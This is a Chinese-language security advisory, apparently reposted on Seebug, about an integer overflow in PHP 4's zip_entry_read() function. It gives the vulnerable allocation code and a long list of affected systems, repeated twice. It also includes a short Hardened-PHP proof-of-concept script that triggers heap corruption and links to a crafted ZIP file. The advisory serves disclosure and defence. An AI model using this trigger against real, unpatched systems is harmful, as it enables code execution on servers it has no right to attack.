Lucene search

K
seebugRootSSV:1577
HistoryMar 29, 2007 - 12:00 a.m.

PHP Zip_Entry_Read()整数溢出漏洞

2007-03-2900:00:00
Root
www.seebug.org
28

PHP是一款广泛使用的WEB开发脚本语言。

PHP zip_read_entry()函数存在整数溢出问题,远程攻击者可利用此漏洞以应用程序权限执行任意指令。

zip_read_entry()函数没有对提供的长度参数进行任何检查,因此当增加一个字节到终止ASCIIZ字符时会在内存分配时出现整数溢出:

buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;

当提供的长度为0xffffffff,分配内存块会变成0字节大小。而之后会从ZIP档中读取4GB数据到内存块,造成覆盖分配的内存数据可能导致任意指令执行。

PHP PHP 4.4.4
PHP PHP 4.4.3
PHP PHP 4.4.2
PHP PHP 4.4.1
PHP PHP 4.4 .0
PHP PHP 4.3.11
PHP PHP 4.3.10

  • Gentoo Linux
  • RedHat Fedora Core3
  • Trustix Secure Enterprise Linux 2.0
  • Trustix Secure Linux 2.2
  • Trustix Secure Linux 2.1
  • Trustix Secure Linux 2.0
  • Trustix Secure Linux 1.5
    PHP PHP 4.3.9
    PHP PHP 4.3.8
  • MandrakeSoft Linux Mandrake 10.1 x86_64
  • MandrakeSoft Linux Mandrake 10.1
  • S.u.S.E. Linux Personal 9.2
  • Turbolinux Turbolinux Server 10.0
  • Ubuntu Ubuntu Linux 4.1 ppc
  • Ubuntu Ubuntu Linux 4.1 ia64
  • Ubuntu Ubuntu Linux 4.1 ia32
    PHP PHP 4.3.7
    PHP PHP 4.3.6
    PHP PHP 4.3.5
    PHP PHP 4.3.4
  • MandrakeSoft Corporate Server 3.0 x86_64
  • MandrakeSoft Corporate Server 3.0
  • MandrakeSoft Linux Mandrake 10.0 AMD64
  • MandrakeSoft Linux Mandrake 10.0
  • S.u.S.E. Linux Personal 9.1
    PHP PHP 4.3.3
  • S.u.S.E. Linux Personal 9.0 x86_64
  • S.u.S.E. Linux Personal 9.0
  • Turbolinux Home
  • Turbolinux Turbolinux 10 F…
  • Turbolinux Turbolinux Desktop 10.0
    PHP PHP 4.3.2
    PHP PHP 4.3.1
  • MandrakeSoft Linux Mandrake 9.1 ppc
  • MandrakeSoft Linux Mandrake 9.1
  • OpenPKG OpenPKG Current
  • S.u.S.E. Linux Personal 8.2
    PHP PHP 4.3
    PHP PHP 4.2.3
  • EnGarde Secure Linux 1.0.1
  • MandrakeSoft Corporate Server 2.1 x86_64
  • MandrakeSoft Corporate Server 2.1
  • MandrakeSoft Linux Mandrake 9.0
  • Turbolinux Turbolinux Server 8.0
  • Turbolinux Turbolinux Server 7.0
  • Turbolinux Turbolinux Workstation 8.0
  • Turbolinux Turbolinux Workstation 7.0
    PHP PHP 4.2.2
  • Gentoo Linux 1.4 _rc1
  • Gentoo Linux 1.2
  • OpenPKG OpenPKG 1.1
  • RedHat Linux 8.0 i386
  • RedHat Linux 8.0
  • S.u.S.E. Linux 8.1
    PHP PHP 4.2.1
  • FreeBSD FreeBSD 4.6
  • FreeBSD FreeBSD 4.5
  • FreeBSD FreeBSD 4.4
  • FreeBSD FreeBSD 4.3
  • Slackware Linux 8.1
    PHP PHP 4.2 .0
    PHP PHP 4.2 -dev
    PHP PHP 4.1.2
  • Apple Mac OS X 10.1.5
  • Apple Mac OS X 10.1.4
  • Apple Mac OS X 10.1.3
  • Apple Mac OS X 10.1.2
  • Apple Mac OS X 10.1.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.0.4
  • Apple Mac OS X 10.0.3
  • Apple Mac OS X 10.0.2
  • Apple Mac OS X 10.0.1
  • Apple Mac OS X 10.0
  • Debian Linux 3.0 sparc
  • Debian Linux 3.0 s/390
  • Debian Linux 3.0 ppc
  • Debian Linux 3.0 mipsel
  • Debian Linux 3.0 mips
  • Debian Linux 3.0 m68k
  • Debian Linux 3.0 ia-64
  • Debian Linux 3.0 ia-32
  • Debian Linux 3.0 hppa
  • Debian Linux 3.0 arm
  • Debian Linux 3.0 alpha
  • MandrakeSoft Linux Mandrake 8.2 ppc
  • MandrakeSoft Linux Mandrake 8.2
  • MandrakeSoft Multi Network Firewall 2.0
  • MandrakeSoft Single Network Firewall 7.2
    PHP PHP 4.1.1
  • Conectiva Linux 7.0
    PHP PHP 4.1 .0
  • S.u.S.E. Linux 8.0 i386
  • S.u.S.E. Linux 8.0
    PHP PHP 4.0.7 RC3
    PHP PHP 4.0.7 RC2
    PHP PHP 4.0.7 RC1
    PHP PHP 4.0.7
    PHP PHP 4.0.6
  • Caldera OpenLinux Server 3.1.1
  • Caldera OpenLinux Server 3.1
  • Caldera OpenLinux Workstation 3.1.1
  • Caldera OpenLinux Workstation 3.1
  • HP Secure OS software for Linux 1.0
  • IBM AIX 4.3.3
  • IBM AIX 4.3.2
  • IBM AIX 4.3.1
  • IBM AIX 4.3
  • IBM AIX 5.1
  • MandrakeSoft Corporate Server 1.0.1

  • MandrakeSoft Linux Mandrake 8.1 ia64

  • MandrakeSoft Linux Mandrake 8.1

  • MandrakeSoft Linux Mandrake 8.0 ppc

  • MandrakeSoft Linux Mandrake 8.0

  • MandrakeSoft Linux Mandrake 7.2

  • MandrakeSoft Linux Mandrake 7.1

  • RedHat Linux 7.2 ia64

  • RedHat Linux 7.2 i386

  • RedHat Linux 7.2

  • RedHat Linux 7.1 ia64

  • RedHat Linux 7.1 i386

  • RedHat Linux 7.1 alpha

  • RedHat Linux 7.1

  • RedHat Linux 7.0 i386

  • RedHat Linux 7.0 alpha

  • RedHat Linux 7.0

  • S.u.S.E. Linux 7.3 sparc

  • S.u.S.E. Linux 7.3 ppc

  • S.u.S.E. Linux 7.3 i386

  • S.u.S.E. Linux 7.3

  • S.u.S.E. Linux 7.2 i386

  • S.u.S.E. Linux 7.2

  • Sun Cobalt RaQ 550

  • Sun LX50

  • Trustix Secure Linux 1.5
    PHP PHP 4.0.5
    PHP PHP 4.0.4

  • Compaq Compaq Secure Web Server PHP 1.0

  • Conectiva Linux 6.0

  • Guardian Digital Engarde Secure Linux 1.0.1

  • S.u.S.E. Linux 7.2

  • S.u.S.E. Linux 7.1 x86

  • S.u.S.E. Linux 7.1 sparc

  • S.u.S.E. Linux 7.1 ppc

  • S.u.S.E. Linux 7.1 alpha

  • S.u.S.E. Linux 7.1

  • S.u.S.E. Linux 7.0 sparc

  • S.u.S.E. Linux 7.0 ppc

  • S.u.S.E. Linux 7.0 i386

  • S.u.S.E. Linux 7.0 alpha

  • S.u.S.E. Linux 7.0
    PHP PHP 4.0.3 pl1

  • S.u.S.E. Linux 6.4 ppc

  • S.u.S.E. Linux 6.4 i386

  • S.u.S.E. Linux 6.4 alpha

  • S.u.S.E. Linux 6.4
    PHP PHP 4.0.3

  • Debian Linux 2.2 sparc

  • Debian Linux 2.2 powerpc

  • Debian Linux 2.2 IA-32

  • Debian Linux 2.2 arm

  • Debian Linux 2.2 alpha

  • Debian Linux 2.2 68k

  • Debian Linux 2.2

  • Sun Cobalt Control Station 4100CS

  • Sun Cobalt Qube3 Japanese 4000WGJ

  • Sun Cobalt Qube3 Japanese w/ Caching and RAID 4100WGJ

  • Sun Cobalt Qube3 Japanese w/Caching 4010WGJ

  • Sun Cobalt RaQ XTR 3500R

  • Sun Cobalt RaQ XTR Japanese 3500R-ja
    PHP PHP 4.0.2
    PHP PHP 4.0.1 pl2
    PHP PHP 4.0.1 pl1
    PHP PHP 4.0.1

  • Sun Cobalt Qube3 4000WG

  • Sun Cobalt Qube3 w/ Caching and RAID 4100WG

  • Sun Cobalt Qube3 w/Caching 4010WG

  • Sun Cobalt RaQ4 3001R

  • Sun Cobalt RaQ4 Japanese RAID 3100R-ja

  • Sun Cobalt RaQ4 RAID 3100R
    PHP PHP 4.0 0
    PHP PHP 3.0.18

  • Conectiva Linux 6.0

  • Conectiva Linux 5.1

  • Conectiva Linux 5.0

  • Conectiva Linux graficas

  • Conectiva Linux ecommerce

  • Debian Linux 3.0 sparc

  • Debian Linux 3.0 s/390

  • Debian Linux 3.0 ppc

  • Debian Linux 3.0 mipsel

  • Debian Linux 3.0 mips

  • Debian Linux 3.0 m68k

  • Debian Linux 3.0 ia-64

  • Debian Linux 3.0 ia-32

  • Debian Linux 3.0 hppa

  • Debian Linux 3.0 arm

  • Debian Linux 3.0 alpha

  • Debian Linux 3.0

  • Debian Linux 2.2 sparc

  • Debian Linux 2.2 powerpc

  • Debian Linux 2.2 IA-32

  • Debian Linux 2.2 arm

  • Debian Linux 2.2 alpha

  • Debian Linux 2.2 68k

  • Debian Linux 2.2

  • RedHat Linux 6.2 sparc

  • RedHat Linux 6.2 i386

  • RedHat Linux 6.2 alpha

  • RedHat Linux 6.2

  • Trustix Secure Linux 1.2

  • Trustix Secure Linux 1.1
    PHP PHP 3.0.17

  • S.u.S.E. Linux 7.1 x86

  • S.u.S.E. Linux 7.1 sparc

  • S.u.S.E. Linux 7.1 ppc

  • S.u.S.E. Linux 7.1 alpha

  • S.u.S.E. Linux 7.1

  • S.u.S.E. Linux 7.0 sparc

  • S.u.S.E. Linux 7.0 ppc

  • S.u.S.E. Linux 7.0 i386

  • S.u.S.E. Linux 7.0 alpha

  • S.u.S.E. Linux 7.0

  • Trustix Secure Linux 1.2

  • Trustix Secure Linux 1.1
    PHP PHP 3.0.16
    PHP PHP 3.0.15
    PHP PHP 3.0.14
    PHP PHP 3.0.13
    PHP PHP 3.0.12
    PHP PHP 3.0.11
    PHP PHP 3.0.10
    PHP PHP 3.0.9
    PHP PHP 3.0.8
    PHP PHP 3.0.7

  • Sun 2800 Workgroup NTT/KOBE 2800WGJ-KOBE
    PHP PHP 3.0.6
    PHP PHP 3.0.5
    PHP PHP 3.0.4
    PHP PHP 3.0.3
    PHP PHP 3.0.2
    PHP PHP 3.0.1
    PHP PHP 3.0 0
    PHP PHP 3.0 .16

  • S.u.S.E. Linux 6.4 ppc

  • S.u.S.E. Linux 6.4 i386

  • S.u.S.E. Linux 6.4 alpha

  • S.u.S.E. Linux 6.4
    PHP PHP 3.0 .13
    PHP PHP 3.0 .12
    PHP PHP 3.0 .11
    PHP PHP 3.0 .10

    >> 安全前沿 > 安全公告

PHP Zip_Entry_Read()整数溢出漏洞

发布时间:2007-3-29 10:34:08
文章作者:ADLab
文章来源:启明星辰

BUGTRAQ ID: 23169

CNCAN ID:CNCAN-2007032909

漏洞消息时间:2007-03-26

漏洞起因

边界条件错误

影响系统

PHP PHP 4.4.4
PHP PHP 4.4.3
PHP PHP 4.4.2
PHP PHP 4.4.1
PHP PHP 4.4 .0
PHP PHP 4.3.11
PHP PHP 4.3.10

  • Gentoo Linux
  • RedHat Fedora Core3
  • Trustix Secure Enterprise Linux 2.0
  • Trustix Secure Linux 2.2
  • Trustix Secure Linux 2.1
  • Trustix Secure Linux 2.0
  • Trustix Secure Linux 1.5
    PHP PHP 4.3.9
    PHP PHP 4.3.8
  • MandrakeSoft Linux Mandrake 10.1 x86_64
  • MandrakeSoft Linux Mandrake 10.1
  • S.u.S.E. Linux Personal 9.2
  • Turbolinux Turbolinux Server 10.0
  • Ubuntu Ubuntu Linux 4.1 ppc
  • Ubuntu Ubuntu Linux 4.1 ia64
  • Ubuntu Ubuntu Linux 4.1 ia32
    PHP PHP 4.3.7
    PHP PHP 4.3.6
    PHP PHP 4.3.5
    PHP PHP 4.3.4
  • MandrakeSoft Corporate Server 3.0 x86_64
  • MandrakeSoft Corporate Server 3.0
  • MandrakeSoft Linux Mandrake 10.0 AMD64
  • MandrakeSoft Linux Mandrake 10.0
  • S.u.S.E. Linux Personal 9.1
    PHP PHP 4.3.3
  • S.u.S.E. Linux Personal 9.0 x86_64
  • S.u.S.E. Linux Personal 9.0
  • Turbolinux Home
  • Turbolinux Turbolinux 10 F…
  • Turbolinux Turbolinux Desktop 10.0
    PHP PHP 4.3.2
    PHP PHP 4.3.1
  • MandrakeSoft Linux Mandrake 9.1 ppc
  • MandrakeSoft Linux Mandrake 9.1
  • OpenPKG OpenPKG Current
  • S.u.S.E. Linux Personal 8.2
    PHP PHP 4.3
    PHP PHP 4.2.3
  • EnGarde Secure Linux 1.0.1
  • MandrakeSoft Corporate Server 2.1 x86_64
  • MandrakeSoft Corporate Server 2.1
  • MandrakeSoft Linux Mandrake 9.0
  • Turbolinux Turbolinux Server 8.0
  • Turbolinux Turbolinux Server 7.0
  • Turbolinux Turbolinux Workstation 8.0
  • Turbolinux Turbolinux Workstation 7.0
    PHP PHP 4.2.2
  • Gentoo Linux 1.4 _rc1
  • Gentoo Linux 1.2
  • OpenPKG OpenPKG 1.1
  • RedHat Linux 8.0 i386
  • RedHat Linux 8.0
  • S.u.S.E. Linux 8.1
    PHP PHP 4.2.1
  • FreeBSD FreeBSD 4.6
  • FreeBSD FreeBSD 4.5
  • FreeBSD FreeBSD 4.4
  • FreeBSD FreeBSD 4.3
  • Slackware Linux 8.1
    PHP PHP 4.2 .0
    PHP PHP 4.2 -dev
    PHP PHP 4.1.2
  • Apple Mac OS X 10.1.5
  • Apple Mac OS X 10.1.4
  • Apple Mac OS X 10.1.3
  • Apple Mac OS X 10.1.2
  • Apple Mac OS X 10.1.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.0.4
  • Apple Mac OS X 10.0.3
  • Apple Mac OS X 10.0.2
  • Apple Mac OS X 10.0.1
  • Apple Mac OS X 10.0
  • Debian Linux 3.0 sparc
  • Debian Linux 3.0 s/390
  • Debian Linux 3.0 ppc
  • Debian Linux 3.0 mipsel
  • Debian Linux 3.0 mips
  • Debian Linux 3.0 m68k
  • Debian Linux 3.0 ia-64
  • Debian Linux 3.0 ia-32
  • Debian Linux 3.0 hppa
  • Debian Linux 3.0 arm
  • Debian Linux 3.0 alpha
  • MandrakeSoft Linux Mandrake 8.2 ppc
  • MandrakeSoft Linux Mandrake 8.2
  • MandrakeSoft Multi Network Firewall 2.0
  • MandrakeSoft Single Network Firewall 7.2
    PHP PHP 4.1.1
  • Conectiva Linux 7.0
    PHP PHP 4.1 .0
  • S.u.S.E. Linux 8.0 i386
  • S.u.S.E. Linux 8.0
    PHP PHP 4.0.7 RC3
    PHP PHP 4.0.7 RC2
    PHP PHP 4.0.7 RC1
    PHP PHP 4.0.7
    PHP PHP 4.0.6
  • Caldera OpenLinux Server 3.1.1
  • Caldera OpenLinux Server 3.1
  • Caldera OpenLinux Workstation 3.1.1
  • Caldera OpenLinux Workstation 3.1
  • HP Secure OS software for Linux 1.0
  • IBM AIX 4.3.3
  • IBM AIX 4.3.2
  • IBM AIX 4.3.1
  • IBM AIX 4.3
  • IBM AIX 5.1
  • MandrakeSoft Corporate Server 1.0.1
  • MandrakeSoft Linux Mandrake 8.1 ia64
  • MandrakeSoft Linux Mandrake 8.1
  • MandrakeSoft Linux Mandrake 8.0 ppc
  • MandrakeSoft Linux Mandrake 8.0
  • MandrakeSoft Linux Mandrake 7.2
  • MandrakeSoft Linux Mandrake 7.1
  • RedHat Linux 7.2 ia64
  • RedHat Linux 7.2 i386
  • RedHat Linux 7.2
  • RedHat Linux 7.1 ia64
  • RedHat Linux 7.1 i386
  • RedHat Linux 7.1 alpha
  • RedHat Linux 7.1
  • RedHat Linux 7.0 i386
  • RedHat Linux 7.0 alpha
  • RedHat Linux 7.0
  • S.u.S.E. Linux 7.3 sparc
  • S.u.S.E. Linux 7.3 ppc
  • S.u.S.E. Linux 7.3 i386
  • S.u.S.E. Linux 7.3
  • S.u.S.E. Linux 7.2 i386
  • S.u.S.E. Linux 7.2
  • Sun Cobalt RaQ 550
  • Sun LX50
  • Trustix Secure Linux 1.5
    PHP PHP 4.0.5
    PHP PHP 4.0.4
  • Compaq Compaq Secure Web Server PHP 1.0
  • Conectiva Linux 6.0
  • Guardian Digital Engarde Secure Linux 1.0.1
  • S.u.S.E. Linux 7.2
  • S.u.S.E. Linux 7.1 x86
  • S.u.S.E. Linux 7.1 sparc
  • S.u.S.E. Linux 7.1 ppc
  • S.u.S.E. Linux 7.1 alpha
  • S.u.S.E. Linux 7.1
  • S.u.S.E. Linux 7.0 sparc
  • S.u.S.E. Linux 7.0 ppc
  • S.u.S.E. Linux 7.0 i386
  • S.u.S.E. Linux 7.0 alpha
  • S.u.S.E. Linux 7.0
    PHP PHP 4.0.3 pl1
  • S.u.S.E. Linux 6.4 ppc
  • S.u.S.E. Linux 6.4 i386
  • S.u.S.E. Linux 6.4 alpha
  • S.u.S.E. Linux 6.4
    PHP PHP 4.0.3
  • Debian Linux 2.2 sparc
  • Debian Linux 2.2 powerpc
  • Debian Linux 2.2 IA-32
  • Debian Linux 2.2 arm
  • Debian Linux 2.2 alpha
  • Debian Linux 2.2 68k
  • Debian Linux 2.2
  • Sun Cobalt Control Station 4100CS
  • Sun Cobalt Qube3 Japanese 4000WGJ
  • Sun Cobalt Qube3 Japanese w/ Caching and RAID 4100WGJ
  • Sun Cobalt Qube3 Japanese w/Caching 4010WGJ
  • Sun Cobalt RaQ XTR 3500R
  • Sun Cobalt RaQ XTR Japanese 3500R-ja
    PHP PHP 4.0.2
    PHP PHP 4.0.1 pl2
    PHP PHP 4.0.1 pl1
    PHP PHP 4.0.1
  • Sun Cobalt Qube3 4000WG
  • Sun Cobalt Qube3 w/ Caching and RAID 4100WG
  • Sun Cobalt Qube3 w/Caching 4010WG
  • Sun Cobalt RaQ4 3001R
  • Sun Cobalt RaQ4 Japanese RAID 3100R-ja
  • Sun Cobalt RaQ4 RAID 3100R
    PHP PHP 4.0 0
    PHP PHP 3.0.18
  • Conectiva Linux 6.0
  • Conectiva Linux 5.1
  • Conectiva Linux 5.0
  • Conectiva Linux graficas
  • Conectiva Linux ecommerce
  • Debian Linux 3.0 sparc
  • Debian Linux 3.0 s/390
  • Debian Linux 3.0 ppc
  • Debian Linux 3.0 mipsel
  • Debian Linux 3.0 mips
  • Debian Linux 3.0 m68k
  • Debian Linux 3.0 ia-64
  • Debian Linux 3.0 ia-32
  • Debian Linux 3.0 hppa
  • Debian Linux 3.0 arm
  • Debian Linux 3.0 alpha
  • Debian Linux 3.0
  • Debian Linux 2.2 sparc
  • Debian Linux 2.2 powerpc
  • Debian Linux 2.2 IA-32
  • Debian Linux 2.2 arm
  • Debian Linux 2.2 alpha
  • Debian Linux 2.2 68k
  • Debian Linux 2.2
  • RedHat Linux 6.2 sparc
  • RedHat Linux 6.2 i386
  • RedHat Linux 6.2 alpha
  • RedHat Linux 6.2
  • Trustix Secure Linux 1.2
  • Trustix Secure Linux 1.1
    PHP PHP 3.0.17
  • S.u.S.E. Linux 7.1 x86
  • S.u.S.E. Linux 7.1 sparc
  • S.u.S.E. Linux 7.1 ppc
  • S.u.S.E. Linux 7.1 alpha
  • S.u.S.E. Linux 7.1
  • S.u.S.E. Linux 7.0 sparc
  • S.u.S.E. Linux 7.0 ppc
  • S.u.S.E. Linux 7.0 i386
  • S.u.S.E. Linux 7.0 alpha
  • S.u.S.E. Linux 7.0
  • Trustix Secure Linux 1.2
  • Trustix Secure Linux 1.1
    PHP PHP 3.0.16
    PHP PHP 3.0.15
    PHP PHP 3.0.14
    PHP PHP 3.0.13
    PHP PHP 3.0.12
    PHP PHP 3.0.11
    PHP PHP 3.0.10
    PHP PHP 3.0.9
    PHP PHP 3.0.8
    PHP PHP 3.0.7
  • Sun 2800 Workgroup NTT/KOBE 2800WGJ-KOBE
    PHP PHP 3.0.6
    PHP PHP 3.0.5
    PHP PHP 3.0.4
    PHP PHP 3.0.3
    PHP PHP 3.0.2
    PHP PHP 3.0.1
    PHP PHP 3.0 0
    PHP PHP 3.0 .16
  • S.u.S.E. Linux 6.4 ppc
  • S.u.S.E. Linux 6.4 i386
  • S.u.S.E. Linux 6.4 alpha
  • S.u.S.E. Linux 6.4
    PHP PHP 3.0 .13
    PHP PHP 3.0 .12
    PHP PHP 3.0 .11
    PHP PHP 3.0 .10

不受影响系统

PHP PHP 4.4.5

危害

远程攻击者可利用此漏洞以应用程序权限执行任意指令。

攻击所需条件

攻击者必须访问PHP所在系统。

漏洞信息

PHP是一款广泛使用的WEB开发脚本语言。

PHP zip_read_entry()函数存在整数溢出问题,远程攻击者可利用此漏洞以应用程序权限执行任意指令。

zip_read_entry()函数没有对提供的长度参数进行任何检查,因此当增加一个字节到终止ASCIIZ字符时会在内存分配时出现整数溢出:

buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;

当提供的长度为0xffffffff,分配内存块会变成0字节大小。而之后会从ZIP档中读取4GB数据到内存块,造成覆盖分配的内存数据可能导致任意指令执行。

测试方法

<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ | | ___ _ _ ___ | | ___ | _ | || || _ \ //
// | __ |/ || '_|/ _ |/ -)| ’ \ / -)/ ` ||
|| /| __ || / //
// |
||
|_,||| _,_|_
|||||_
_|_,| || |||||| //
// //
// Proof of concept code from the Hardened-PHP Project //
// © Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 zip_entry_read() Integer Overflow Vulnerability //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

$r = zip_open("x.zip");
$e = zip_read($r);
$x = zip_entry_open($r, $e);

for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
unset($arr[600]);

zip_entry_read($e, -1);

unset($arr[601]);
?>

参考如下ZIP文件:

<a href=“http://www.php-security.org/MOPB/code/x.zip” target=“_blank”>http://www.php-security.org/MOPB/code/x.zip</a>

厂商解决方案

目前没有详细解决方案提供:

<a href=“http://www.php.net/” target=“_blank”>http://www.php.net/</a>


                                                &lt;?php
&nbsp;&nbsp;////////////////////////////////////////////////////////////////////////
&nbsp;&nbsp;//&nbsp;&nbsp;_&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp